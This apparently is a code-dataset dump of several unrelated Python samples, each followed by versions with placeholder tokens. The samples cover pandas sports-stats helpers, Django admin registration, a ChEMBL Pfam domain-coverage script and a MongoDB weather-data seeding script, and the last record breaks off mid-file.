'Predicted (float)': dfPred})\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n\n\ndef getStatsByYear(teamID, year, data):\n \"\"\" Returns the stats for a chosen team for a specific year. Choices are 2016 - 2019 \"\"\"\n teamStats = data[data['team_id'] == teamID]\n for index, row in teamStats.iterrows():\n if row['season'] == year:\n teamStatsForGivenYear = teamStats[data['season'] == row['season']]\n return teamStatsForGivenYear\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef avgDataRow(df):\n \"\"\" Returns the average values of a dataFrame \"\"\"\n df1 = dict()\n for columnName, columnData in df.iteritems():\n df1[columnName] = [df[columnName].mean()]\n return pd.DataFrame(df1)\n\n\ndef updateWinPct(dfMain, dfWin, reg):\n \"\"\" Return new win percentage \"\"\"\n dfPred = reg.predict(dfMain)\n return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(dfPred), 'Predicted (float)': dfPred})\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n\n\ndef getStatsByYear(teamID, year, data):\n \"\"\" Returns the stats for a chosen team for a specific year. Choices are 2016 - 2019 \"\"\"\n teamStats = data[data['team_id'] == teamID]\n for index, row in teamStats.iterrows():\n if row['season'] == year:\n teamStatsForGivenYear = teamStats[data['season'] == row['season']]\n return teamStatsForGivenYear\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef updateWinPct(dfMain, dfWin, reg):\n \"\"\" Return new win percentage \"\"\"\n dfPred = reg.predict(dfMain)\n return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(dfPred), 'Predicted (float)': dfPred})\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef updateWinPct(dfMain, dfWin, reg):\n \"\"\" Return new win percentage \"\"\"\n dfPred = reg.predict(dfMain)\n return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(dfPred), 'Predicted (float)': dfPred})\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n" ]
false
454
fdcee5b3f6b3ec170c9ef3017e0cc6c4b28cf22d
from django.contrib import admin from .models import Advert, Category, ImageAd @admin.register(Advert) class AdminAdvert(admin.ModelAdmin): filter_horizontal = "categories", @admin.register(Category) class AdminCategory(admin.ModelAdmin): pass @admin.register(ImageAd) class AdminImageAd(admin.ModelAdmin): pass
[ "from django.contrib import admin\nfrom .models import Advert, Category, ImageAd\n\n\[email protected](Advert)\nclass AdminAdvert(admin.ModelAdmin):\n filter_horizontal = \"categories\",\n\n\n\[email protected](Category)\nclass AdminCategory(admin.ModelAdmin):\n pass\n\n\[email protected](ImageAd)\nclass AdminImageAd(admin.ModelAdmin):\n pass\n", "from django.contrib import admin\nfrom .models import Advert, Category, ImageAd\n\n\[email protected](Advert)\nclass AdminAdvert(admin.ModelAdmin):\n filter_horizontal = 'categories',\n\n\[email protected](Category)\nclass AdminCategory(admin.ModelAdmin):\n pass\n\n\[email protected](ImageAd)\nclass AdminImageAd(admin.ModelAdmin):\n pass\n", "<import token>\n\n\[email protected](Advert)\nclass AdminAdvert(admin.ModelAdmin):\n filter_horizontal = 'categories',\n\n\[email protected](Category)\nclass AdminCategory(admin.ModelAdmin):\n pass\n\n\[email protected](ImageAd)\nclass AdminImageAd(admin.ModelAdmin):\n pass\n", "<import token>\n\n\[email protected](Advert)\nclass AdminAdvert(admin.ModelAdmin):\n <assignment token>\n\n\[email protected](Category)\nclass AdminCategory(admin.ModelAdmin):\n pass\n\n\[email protected](ImageAd)\nclass AdminImageAd(admin.ModelAdmin):\n pass\n", "<import token>\n<class token>\n\n\[email protected](Category)\nclass AdminCategory(admin.ModelAdmin):\n pass\n\n\[email protected](ImageAd)\nclass AdminImageAd(admin.ModelAdmin):\n pass\n", "<import token>\n<class token>\n<class token>\n\n\[email protected](ImageAd)\nclass AdminImageAd(admin.ModelAdmin):\n pass\n", "<import token>\n<class token>\n<class token>\n<class token>\n" ]
false
455
ae5f87f1c383478ea5f370af1c85d63a472a7788
#Array In Python from array import array numbers = array("i",[1,2,3]) numbers[0] = 0 print(list(numbers))
[ "#Array In Python\n\nfrom array import array\n\nnumbers = array(\"i\",[1,2,3])\nnumbers[0] = 0\nprint(list(numbers))\n", "from array import array\nnumbers = array('i', [1, 2, 3])\nnumbers[0] = 0\nprint(list(numbers))\n", "<import token>\nnumbers = array('i', [1, 2, 3])\nnumbers[0] = 0\nprint(list(numbers))\n", "<import token>\n<assignment token>\nprint(list(numbers))\n", "<import token>\n<assignment token>\n<code token>\n" ]
false
456
9c05b39a12ab29db99397e62315efddd8cdf1df4
dict1 = [ {'a':1}, {'a':2}, {'a':3} ] a = dict1[1]['a'] # print(a) correlation_dict = {'${class_id}':123} data = {'token': '${self.token}', 'name': 'api测试','class_id': '${class_id}'} for k in data: for key in correlation_dict: if data[k] in key: data[k] = correlation_dict[key] print(data)
[ "dict1 = [\n {'a':1},\n {'a':2},\n {'a':3}\n]\n\na = dict1[1]['a']\n# print(a)\n\ncorrelation_dict = {'${class_id}':123}\n\ndata = {'token': '${self.token}', 'name': 'api测试','class_id': '${class_id}'}\n\nfor k in data:\n for key in correlation_dict:\n if data[k] in key:\n data[k] = correlation_dict[key]\nprint(data)\n\n", "dict1 = [{'a': 1}, {'a': 2}, {'a': 3}]\na = dict1[1]['a']\ncorrelation_dict = {'${class_id}': 123}\ndata = {'token': '${self.token}', 'name': 'api测试', 'class_id': '${class_id}'}\nfor k in data:\n for key in correlation_dict:\n if data[k] in key:\n data[k] = correlation_dict[key]\nprint(data)\n", "<assignment token>\nfor k in data:\n for key in correlation_dict:\n if data[k] in key:\n data[k] = correlation_dict[key]\nprint(data)\n", "<assignment token>\n<code token>\n" ]
false
457
2467825d2cb01c86d3ba27562decc12551877af1
""" Script: coverage.py Identifies domains that only occur in multi-domain proteins. The main script is master. -------------------- Felix A Kruger [email protected] """ #### #### import modules. #### import queryDevice import operator import yaml import time #### #### Load parameters. #### paramFile = open('local.yaml') params = yaml.safe_load(paramFile) paramFile.close() #### Define functions. #----------------------------------------------------------------------------------------------------------------------- def get_el_targets(params): """Query the ChEMBL database for (almost) all activities that are subject to the mapping. Does not conver activities expressed in log-conversion eg pIC50 etc. This function works with chembl_15 upwards. Outputs a list of tuples [(tid, target_type, domain_count, assay_count, act_count),...] """ data = queryDevice.queryDevice(""" SELECT DISTINCT dc.tid, dc.target_type, dc.dc, COUNT(DISTINCT act.assay_id), COUNT(DISTINCT activity_id) FROM assays ass JOIN( SELECT td.tid, td.target_type, COUNT(cd.domain_id) as dc FROM target_dictionary td JOIN target_components tc ON tc.tid = td.tid JOIN component_sequences cs ON cs.component_id = tc.component_id JOIN component_domains cd ON cd.component_id = cs.component_id WHERE td.target_type IN('SINGLE PROTEIN', 'PROTEIN COMPLEX') GROUP BY td.tid ) as dc ON dc.tid = ass.tid JOIN activities act ON act.assay_id = ass.assay_id WHERE act.standard_type IN('Ki','Kd','IC50','EC50', 'AC50') AND ass.relationship_type = 'D' AND assay_type IN('B') AND act.standard_relation IN('=') AND standard_units = 'nM' AND standard_value <= %s GROUP BY dc.tid ORDER BY COUNT(activity_id)""" % (int(params['threshold']) * 1000) , params) print "retrieved data for ", len(data), "tids." return data #----------------------------------------------------------------------------------------------------------------------- def readfile(path, key_name, val_name): """Read two columns from a tab-separated file into a dictionary. Inputs: path -- filepath key_name -- name of the column holding the key val_name -- name of the column holding the value """ infile = open(path, 'r') lines = infile.readlines() infile.close() lkp = {} els = lines[0].rstrip().split('\t') for i, el in enumerate(els): if el == key_name: key_idx = i if el == val_name: val_idx = i for line in lines[1:]: elements = line.rstrip().split('\t') lkp[elements[key_idx]] = elements[val_idx] return lkp #----------------------------------------------------------------------------------------------------------------------- def get_archs(el_targets, pfam_lkp): """Find multi-domain architectures. Inputs: el_targets -- list of eligible targets """ act_lkp = {} arch_lkp = {} dom_lkp = {} for ent in el_targets: try: doms = pfam_lkp[ent[0]] except KeyError: print "no doms in ", ent[0] arch = ', '.join(sorted(doms)) try: arch_lkp[arch] += 1 act_lkp[arch] += ent[4] except KeyError: arch_lkp[arch] = 1 act_lkp[arch] = ent[4] if len(doms) <= 1: continue for dom in set(doms): try: dom_lkp[dom] += 1 except KeyError: dom_lkp[dom] = 1 return(arch_lkp, dom_lkp, act_lkp) #----------------------------------------------------------------------------------------------------------------------- def get_doms(tids, params): """Get domains for a list of tids. Inputs: el_targets -- list of eligible targets """ pfam_lkp = {} tidstr = "', '".join(str(t) for t in tids) data = queryDevice.queryDevice(""" SELECT tid, domain_name FROM target_components tc JOIN component_domains cd ON cd.component_id = tc.component_id JOIN domains d ON d.domain_id = cd.domain_id WHERE tc.tid IN('%s') and domain_type = 'Pfam-A'""" %tidstr, params) for ent in data: tid = ent[0] dom = ent[1] try: pfam_lkp[tid].append(dom) except KeyError: pfam_lkp[tid] = [dom] return pfam_lkp #----------------------------------------------------------------------------------------------------------------------- def count_valid(lkp, valid_doms): """Get count of architectures and activities covered by the mapping. """ valz = [] for arch in lkp.keys(): valid = False doms = arch.split(', ') for dom in doms: if dom in valid_doms: valid = True break valz.append((lkp[arch], valid)) valid = sum([x[0] for x in valz if x[1]]) allz = sum([x[0] for x in valz]) valid_archs = len([x[0] for x in valz if x[1]]) all_archs = len(sum([x[0] for x in valz])) out = open('data/log.tab', 'a') timestamp = time.strftime('%d %B %Y %T', time.gmtime()) comment = "only binding assays" release = params['release'] threshold = params['threshold'] out.write("%(valid)s\t%(allz)s\t%(release)s\t%(threshold)s\t%(comment)s\t%(timestamp)s\t%(valid_archs)s\t%(all_archs)s\n" % locals()) out.close() #----------------------------------------------------------------------------------------------------------------------- def export_archs(arch_lkp, valid_doms, path): '''Write out multi-domain architectures in markdown tables. Inputs: arch_lkp -- dictionary of multi-domain architectures. ''' sorted_archs = sorted(arch_lkp.iteritems(), key=operator.itemgetter(1), reverse = True) out = open('%s.md' % path ,'w') out.write('|architecture|count|mapped|\n') out.write('|:-----------|:---------|-----:|\n') for arch in sorted_archs: doms = str(arch[0]).split(', ') if len(doms) <= 1: continue mapped = ', '.join([x for x in doms if x in valid_doms]) if len(mapped) == 0: mapped = False out.write("|%s|%s|%s|\n"%(arch[0], arch[1], mapped)) #----------------------------------------------------------------------------------------------------------------------- def export_network(arch_lkp, valid_doms, path): '''Write out network file. Inputs: arch_lkp -- dictionary of multi-domain architectures. ''' lkp = {} for arch in arch_lkp.keys(): doms = arch.split(', ') if len(doms) <= 1: continue count = arch_lkp[arch] if type(doms) is str: continue for i in range(len(doms)-1): for j in range(i+1, len(doms)): dom_key = ', '.join(sorted([doms[i],doms[j]])) try: lkp[dom_key] += count except KeyError: lkp[dom_key] = count out = open('%s.tab' % path ,'w') out.write('dom_1\tdom_2\tcount\n') for link in lkp.keys(): doms = str(link).split(', ') out.write("%s\t%s\t%s\n"%(doms[0], doms[1], lkp[link])) out.close() #----------------------------------------------------------------------------------------------------------------------- def export_attribs(arch_lkp, valid_doms, path): '''Write out network file. Inputs: arch_lkp -- dictionary of multi-domain architectures. ''' out = open('%s.tab' % path ,'w') out.write('dom\tvalid\n') lkp = {} for arch in arch_lkp.keys(): doms = arch.split(', ') if len(doms) <= 1: continue for dom in doms: valid = False if dom in valid_doms: valid = True lkp[dom] = valid for it in lkp.items(): out.write("%s\t%s\n"%(it[0], it[1])) out.close() #----------------------------------------------------------------------------------------------------------------------- def export_doms(dom_lkp, valid_doms, path): '''Write out identified architectures in markdown tables. Inputs: dom_lkp -- dictionary of domains occuring in multi-domain architectures. ''' sorted_doms = sorted(dom_lkp.iteritems(), key=operator.itemgetter(1), reverse= True) out = open('%s.md' % path ,'w') out.write('|domain |count| validated|\n') out.write('|:-----------|:-----|-------:|\n') for dom in sorted_doms: mapped = False count = dom[1] dom = str(dom[0]) if dom in valid_doms: mapped = True out.write("|%s|%s|%s|\n"%(dom, count, mapped)) #----------------------------------------------------------------------------------------------------------------------- def master(version): """ Function: master Run through all steps to identify mandatory muli-domain architectures. """ # Load the list of validated domains. valid_dom_d = readfile('data/valid_pfam_v_%(version)s.tab' % locals(), 'pfam_a', 'pfam_a') valid_doms = valid_dom_d.keys() ## Load eligible targets. el_targets = get_el_targets(params) ## Get domains for tids. pfam_lkp = get_doms([x[0] for x in el_targets], params) ## Add targets with given architecture. (arch_lkp, dom_lkp, act_lkp) = get_archs(el_targets, pfam_lkp) ## Count covered acrchitectures. count_valid(arch_lkp, valid_doms) ## Count covered activities. count_valid(act_lkp, valid_doms) ## Write multi-domain architechtures to markdown tables. export_archs(arch_lkp, valid_doms, 'data/multi_dom_archs_%s'% params['release']) ## Write domains from multi-domain architechtures to markdown tables. export_doms(dom_lkp, valid_doms, 'data/multi_dom_doms_%s'% params['release']) ## export network file. export_network(arch_lkp, valid_doms, 'data/multi_dom_network_%s'% params['release']) ## export network attribute file. export_attribs(arch_lkp, valid_doms, 'data/multi_dom_attributes_%s'% params['release']) #----------------------------------------------------------------------------------------------------------------------- if __name__ == '__main__': import sys if len(sys.argv) != 2: # the program name and one argument sys.exit("""Parameters are read from mpf.yaml but must specify version for data/valid_pfam_v_%(version)s.tab""") version = sys.argv[1] master(version)
[ "\"\"\"\n Script: coverage.py\n Identifies domains that only occur in multi-domain proteins. The main\n script is master.\n --------------------\n Felix A Kruger\n [email protected]\n\"\"\"\n####\n#### import modules.\n####\nimport queryDevice\nimport operator\nimport yaml\nimport time\n####\n#### Load parameters.\n####\nparamFile = open('local.yaml')\nparams = yaml.safe_load(paramFile)\nparamFile.close()\n\n\n\n\n#### Define functions.\n#-----------------------------------------------------------------------------------------------------------------------\n\n\ndef get_el_targets(params):\n \"\"\"Query the ChEMBL database for (almost) all activities that are subject to the mapping. Does not conver activities expressed in log-conversion eg pIC50 etc. This function works with chembl_15 upwards. Outputs a list of tuples [(tid, target_type, domain_count, assay_count, act_count),...]\n \"\"\"\n data = queryDevice.queryDevice(\"\"\"\n SELECT DISTINCT dc.tid, dc.target_type, dc.dc, COUNT(DISTINCT act.assay_id), COUNT(DISTINCT activity_id)\n FROM assays ass\n JOIN(\n SELECT td.tid, td.target_type, COUNT(cd.domain_id) as dc\n FROM target_dictionary td\n JOIN target_components tc\n ON tc.tid = td.tid\n\t\t JOIN component_sequences cs\n\t\t\tON cs.component_id = tc.component_id\n JOIN component_domains cd\n \t\t\tON cd.component_id = cs.component_id\n WHERE td.target_type IN('SINGLE PROTEIN', 'PROTEIN COMPLEX')\n GROUP BY td.tid\n ) as dc\n ON dc.tid = ass.tid\n JOIN activities act\n ON act.assay_id = ass.assay_id\n WHERE act.standard_type IN('Ki','Kd','IC50','EC50', 'AC50')\n AND ass.relationship_type = 'D'\n AND assay_type IN('B')\n AND act.standard_relation IN('=')\n AND standard_units = 'nM'\n AND standard_value <= %s\n GROUP BY dc.tid ORDER BY COUNT(activity_id)\"\"\" % (int(params['threshold']) * 1000) , params)\n print \"retrieved data for \", len(data), \"tids.\"\n return data\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n\ndef readfile(path, key_name, val_name):\n \"\"\"Read two columns from a tab-separated file into a dictionary.\n Inputs:\n path -- filepath\n key_name -- name of the column holding the key\n val_name -- name of the column holding the value\n \"\"\"\n infile = open(path, 'r')\n lines = infile.readlines()\n infile.close()\n lkp = {}\n els = lines[0].rstrip().split('\\t')\n for i, el in enumerate(els):\n if el == key_name:\n key_idx = i\n if el == val_name:\n val_idx = i\n for line in lines[1:]:\n elements = line.rstrip().split('\\t')\n lkp[elements[key_idx]] = elements[val_idx]\n return lkp\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef get_archs(el_targets, pfam_lkp):\n \"\"\"Find multi-domain architectures.\n Inputs:\n el_targets -- list of eligible targets\n \"\"\"\n act_lkp = {}\n arch_lkp = {}\n dom_lkp = {}\n for ent in el_targets:\n try:\n doms = pfam_lkp[ent[0]]\n except KeyError:\n print \"no doms in \", ent[0]\n arch = ', '.join(sorted(doms))\n try:\n arch_lkp[arch] += 1\n act_lkp[arch] += ent[4]\n except KeyError:\n arch_lkp[arch] = 1\n act_lkp[arch] = ent[4]\n if len(doms) <= 1:\n continue\n for dom in set(doms):\n try:\n dom_lkp[dom] += 1\n except KeyError:\n dom_lkp[dom] = 1\n return(arch_lkp, dom_lkp, act_lkp)\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef get_doms(tids, params):\n \"\"\"Get domains for a list of tids.\n Inputs:\n el_targets -- list of eligible targets\n \"\"\"\n pfam_lkp = {}\n tidstr = \"', '\".join(str(t) for t in tids)\n data = queryDevice.queryDevice(\"\"\"\n SELECT tid, domain_name\n FROM target_components tc\n\t JOIN component_domains cd\n\t ON cd.component_id = tc.component_id\n JOIN domains d\n\t ON d.domain_id = cd.domain_id\n WHERE tc.tid IN('%s') and domain_type = 'Pfam-A'\"\"\" %tidstr, params)\n for ent in data:\n tid = ent[0]\n dom = ent[1]\n try:\n pfam_lkp[tid].append(dom)\n except KeyError:\n pfam_lkp[tid] = [dom]\n return pfam_lkp\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n\ndef count_valid(lkp, valid_doms):\n \"\"\"Get count of architectures and activities covered by the mapping.\n \"\"\"\n valz = []\n for arch in lkp.keys():\n valid = False\n doms = arch.split(', ')\n for dom in doms:\n if dom in valid_doms:\n valid = True\n break\n valz.append((lkp[arch], valid))\n valid = sum([x[0] for x in valz if x[1]])\n allz = sum([x[0] for x in valz])\n valid_archs = len([x[0] for x in valz if x[1]])\n all_archs = len(sum([x[0] for x in valz]))\n out = open('data/log.tab', 'a')\n timestamp = time.strftime('%d %B %Y %T', time.gmtime())\n comment = \"only binding assays\"\n release = params['release']\n threshold = params['threshold']\n out.write(\"%(valid)s\\t%(allz)s\\t%(release)s\\t%(threshold)s\\t%(comment)s\\t%(timestamp)s\\t%(valid_archs)s\\t%(all_archs)s\\n\"\n % locals())\n out.close()\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n\ndef export_archs(arch_lkp, valid_doms, path):\n '''Write out multi-domain architectures in markdown tables.\n Inputs:\n arch_lkp -- dictionary of multi-domain architectures.\n '''\n sorted_archs = sorted(arch_lkp.iteritems(), key=operator.itemgetter(1), reverse = True)\n out = open('%s.md' % path ,'w')\n out.write('|architecture|count|mapped|\\n')\n out.write('|:-----------|:---------|-----:|\\n')\n for arch in sorted_archs:\n doms = str(arch[0]).split(', ')\n if len(doms) <= 1:\n continue\n mapped = ', '.join([x for x in doms if x in valid_doms])\n if len(mapped) == 0:\n mapped = False\n out.write(\"|%s|%s|%s|\\n\"%(arch[0], arch[1], mapped))\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n\ndef export_network(arch_lkp, valid_doms, path):\n '''Write out network file.\n Inputs:\n arch_lkp -- dictionary of multi-domain architectures.\n '''\n lkp = {}\n for arch in arch_lkp.keys():\n doms = arch.split(', ')\n if len(doms) <= 1:\n continue\n count = arch_lkp[arch]\n if type(doms) is str:\n continue\n for i in range(len(doms)-1):\n for j in range(i+1, len(doms)):\n dom_key = ', '.join(sorted([doms[i],doms[j]]))\n try:\n lkp[dom_key] += count\n except KeyError:\n lkp[dom_key] = count\n out = open('%s.tab' % path ,'w')\n out.write('dom_1\\tdom_2\\tcount\\n')\n for link in lkp.keys():\n doms = str(link).split(', ')\n out.write(\"%s\\t%s\\t%s\\n\"%(doms[0], doms[1], lkp[link]))\n out.close()\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n\ndef export_attribs(arch_lkp, valid_doms, path):\n '''Write out network file.\n Inputs:\n arch_lkp -- dictionary of multi-domain architectures.\n '''\n out = open('%s.tab' % path ,'w')\n out.write('dom\\tvalid\\n')\n lkp = {}\n for arch in arch_lkp.keys():\n doms = arch.split(', ')\n if len(doms) <= 1:\n continue\n for dom in doms:\n valid = False\n if dom in valid_doms:\n valid = True\n lkp[dom] = valid\n for it in lkp.items():\n out.write(\"%s\\t%s\\n\"%(it[0], it[1]))\n out.close()\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n\ndef export_doms(dom_lkp, valid_doms, path):\n '''Write out identified architectures in markdown tables.\n Inputs:\n dom_lkp -- dictionary of domains occuring in multi-domain architectures.\n '''\n sorted_doms = sorted(dom_lkp.iteritems(), key=operator.itemgetter(1), reverse= True)\n out = open('%s.md' % path ,'w')\n out.write('|domain |count| validated|\\n')\n out.write('|:-----------|:-----|-------:|\\n')\n for dom in sorted_doms:\n mapped = False\n count = dom[1]\n dom = str(dom[0])\n if dom in valid_doms:\n mapped = True\n out.write(\"|%s|%s|%s|\\n\"%(dom, count, mapped))\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef master(version):\n \"\"\"\n Function: master\n Run through all steps to identify mandatory muli-domain architectures.\n \"\"\"\n # Load the list of validated domains.\n valid_dom_d = readfile('data/valid_pfam_v_%(version)s.tab' % locals(), 'pfam_a', 'pfam_a')\n valid_doms = valid_dom_d.keys()\n ## Load eligible targets.\n el_targets = get_el_targets(params)\n ## Get domains for tids.\n pfam_lkp = get_doms([x[0] for x in el_targets], params)\n ## Add targets with given architecture.\n (arch_lkp, dom_lkp, act_lkp) = get_archs(el_targets, pfam_lkp)\n ## Count covered acrchitectures.\n count_valid(arch_lkp, valid_doms)\n ## Count covered activities.\n count_valid(act_lkp, valid_doms)\n ## Write multi-domain architechtures to markdown tables.\n export_archs(arch_lkp, valid_doms, 'data/multi_dom_archs_%s'% params['release'])\n ## Write domains from multi-domain architechtures to markdown tables.\n export_doms(dom_lkp, valid_doms, 'data/multi_dom_doms_%s'% params['release'])\n ## export network file.\n export_network(arch_lkp, valid_doms, 'data/multi_dom_network_%s'% params['release'])\n ## export network attribute file.\n export_attribs(arch_lkp, valid_doms, 'data/multi_dom_attributes_%s'% params['release'])\n\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n\nif __name__ == '__main__':\n import sys\n\n if len(sys.argv) != 2: # the program name and one argument\n sys.exit(\"\"\"Parameters are read from mpf.yaml but must specify\n\t\t \t version for data/valid_pfam_v_%(version)s.tab\"\"\")\n version = sys.argv[1]\n\n master(version)\n" ]
true
458
51af54c55834c4bdb8e1cbe4ac55b86bdc61bf4d
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations from django.utils.timezone import utc import datetime class Migration(migrations.Migration): dependencies = [ ('notesapp', '0008_auto_20150819_1222'), ] operations = [ migrations.RenameField( model_name='note', old_name='txtcolor', new_name='text', ), migrations.AlterField( model_name='note', name='created_date', field=models.DateTimeField(default=datetime.datetime(2015, 8, 19, 12, 25, 8, 579538, tzinfo=utc), editable=False), ), ]
[ "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.utils.timezone import utc\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('notesapp', '0008_auto_20150819_1222'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='note',\n old_name='txtcolor',\n new_name='text',\n ),\n migrations.AlterField(\n model_name='note',\n name='created_date',\n field=models.DateTimeField(default=datetime.datetime(2015, 8, 19, 12, 25, 8, 579538, tzinfo=utc), editable=False),\n ),\n ]\n", "from __future__ import unicode_literals\nfrom django.db import models, migrations\nfrom django.utils.timezone import utc\nimport datetime\n\n\nclass Migration(migrations.Migration):\n dependencies = [('notesapp', '0008_auto_20150819_1222')]\n operations = [migrations.RenameField(model_name='note', old_name=\n 'txtcolor', new_name='text'), migrations.AlterField(model_name=\n 'note', name='created_date', field=models.DateTimeField(default=\n datetime.datetime(2015, 8, 19, 12, 25, 8, 579538, tzinfo=utc),\n editable=False))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('notesapp', '0008_auto_20150819_1222')]\n operations = [migrations.RenameField(model_name='note', old_name=\n 'txtcolor', new_name='text'), migrations.AlterField(model_name=\n 'note', name='created_date', field=models.DateTimeField(default=\n datetime.datetime(2015, 8, 19, 12, 25, 8, 579538, tzinfo=utc),\n editable=False))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n" ]
false
459
a8b1b218e6649545000803c91c803580cfdbd4f1
import random # Imports MongoClient for base level access to the local MongoDB from pymongo import MongoClient # Imports datetime class to create timestamp for weather data storage from datetime import datetime # Importing DailyReportModel class to use the implemented method to insert data into daily_report_model collection from model import DailyReportModel # Database host ip and port information HOST = '127.0.0.1' PORT = '27017' RELATIVE_CONFIG_PATH = '../config/' DB_NAME = 'weather_db' USER_COLLECTION = 'users' DEVICE_COLLECTION = 'devices' WEATHER_DATA_COLLECTION = 'weather_data' DAILY_REPORT_MODEL = 'daily_report_model' # This will initiate connection to the mongodb db_handle = MongoClient(f'mongodb://{HOST}:{PORT}') # We drop the existing database including all the collections and data db_handle.drop_database(DB_NAME) # We recreate the database with the same name weather_dbh = db_handle[DB_NAME] # user data import # User document contains username (String), email (String), and role (String) fields # Reads users.csv one line at a time, splits them into the data fields and inserts with open(RELATIVE_CONFIG_PATH+USER_COLLECTION+'.csv', 'r') as user_fh: for user_row in user_fh: user_row = user_row.rstrip() if user_row: (username, email, role) = user_row.split(',') user_data = {'username': username, 'email': email, 'role': role} # This creates and return a pointer to the users collection user_collection = weather_dbh[USER_COLLECTION] # This inserts the data item as a document in the user collection user_collection.insert_one(user_data) # device data import # Device document contains device_id (String), desc (String), type (String - temperature/humidity) and manufacturer (String) fields # Reads devices.csv one line at a time, splits them into the data fields and inserts with open(RELATIVE_CONFIG_PATH+DEVICE_COLLECTION+'.csv', 'r') as device_fh: for device_row in device_fh: device_row = device_row.rstrip() if device_row: (device_id, desc, type, manufacturer) = device_row.split(',') device_data = {'device_id': device_id, 'desc': desc, 'type': type, 'manufacturer': manufacturer} # This creates and return a pointer to the devices collection device_collection = weather_dbh[DEVICE_COLLECTION] # This inserts the data item as a document in the devices collection device_collection.insert_one(device_data) # weather data generation # Weather data document contains device_id (String), value (Integer), and timestamp (Date) fields # Reads devices.csv one line at a time to get device id and type. It then loops for five days (2020-12-01 to 2020-12-05 # For each device and day, it creates random values for each hour (at the 30 minute mark) and stores the data #Created a list to populate it with device id and timestamp devdaylist = [] with open(RELATIVE_CONFIG_PATH+DEVICE_COLLECTION+'.csv', 'r') as device_fh: for device_row in device_fh: device_row = device_row.rstrip() if device_row: # _ can be used to ignore values that are not needed (device_id, _, type, _) = device_row.split(',') for day in range(1,6): #creating and appending data to the list day1 = datetime(2020, 12, day) devdaylist.append((device_id, day1)) for hour in range(0,24): timestamp = datetime(2020, 12, day, hour, 30, 0) # Generates random data value in appropriate range as per the type of sensor (normal bell-curve distribution) if (type.lower() == 'temperature'): value = int(random.normalvariate(24,2.2)) elif (type.lower() == 'humidity'): value = int(random.normalvariate(45,3)) weather_data = {'device_id': device_id, 'value': value, 'timestamp': timestamp} weather_data_collection = weather_dbh[WEATHER_DATA_COLLECTION] # This inserts the data item as a document in the weather_data collection weather_data_collection.insert_one(weather_data) #Populating the data to daily_report_model collection on setup drm = DailyReportModel() for ddy in devdaylist: drm.insert_daily_report_to_daily_report_model(ddy[0], ddy[1], 'admin')
[ "import random\r\n# Imports MongoClient for base level access to the local MongoDB\r\nfrom pymongo import MongoClient\r\n# Imports datetime class to create timestamp for weather data storage\r\nfrom datetime import datetime\r\n# Importing DailyReportModel class to use the implemented method to insert data into daily_report_model collection\r\nfrom model import DailyReportModel\r\n\r\n\r\n# Database host ip and port information\r\nHOST = '127.0.0.1'\r\nPORT = '27017'\r\n\r\nRELATIVE_CONFIG_PATH = '../config/'\r\n\r\nDB_NAME = 'weather_db'\r\nUSER_COLLECTION = 'users'\r\nDEVICE_COLLECTION = 'devices'\r\nWEATHER_DATA_COLLECTION = 'weather_data'\r\nDAILY_REPORT_MODEL = 'daily_report_model'\r\n\r\n# This will initiate connection to the mongodb\r\ndb_handle = MongoClient(f'mongodb://{HOST}:{PORT}')\r\n\r\n# We drop the existing database including all the collections and data\r\ndb_handle.drop_database(DB_NAME)\r\n\r\n# We recreate the database with the same name\r\nweather_dbh = db_handle[DB_NAME]\r\n\r\n\r\n# user data import\r\n# User document contains username (String), email (String), and role (String) fields\r\n# Reads users.csv one line at a time, splits them into the data fields and inserts\r\nwith open(RELATIVE_CONFIG_PATH+USER_COLLECTION+'.csv', 'r') as user_fh:\r\n for user_row in user_fh:\r\n user_row = user_row.rstrip()\r\n if user_row:\r\n (username, email, role) = user_row.split(',')\r\n user_data = {'username': username, 'email': email, 'role': role}\r\n \r\n # This creates and return a pointer to the users collection\r\n user_collection = weather_dbh[USER_COLLECTION]\r\n \r\n # This inserts the data item as a document in the user collection\r\n user_collection.insert_one(user_data)\r\n\r\n\r\n# device data import\r\n# Device document contains device_id (String), desc (String), type (String - temperature/humidity) and manufacturer (String) fields\r\n# Reads devices.csv one line at a time, splits them into the data fields and inserts\r\nwith open(RELATIVE_CONFIG_PATH+DEVICE_COLLECTION+'.csv', 'r') as device_fh:\r\n for device_row in device_fh:\r\n device_row = device_row.rstrip()\r\n if device_row:\r\n (device_id, desc, type, manufacturer) = device_row.split(',')\r\n device_data = {'device_id': device_id, 'desc': desc, 'type': type, 'manufacturer': manufacturer}\r\n \r\n # This creates and return a pointer to the devices collection\r\n device_collection = weather_dbh[DEVICE_COLLECTION]\r\n \r\n # This inserts the data item as a document in the devices collection\r\n device_collection.insert_one(device_data)\r\n\r\n\r\n# weather data generation\r\n# Weather data document contains device_id (String), value (Integer), and timestamp (Date) fields\r\n# Reads devices.csv one line at a time to get device id and type. It then loops for five days 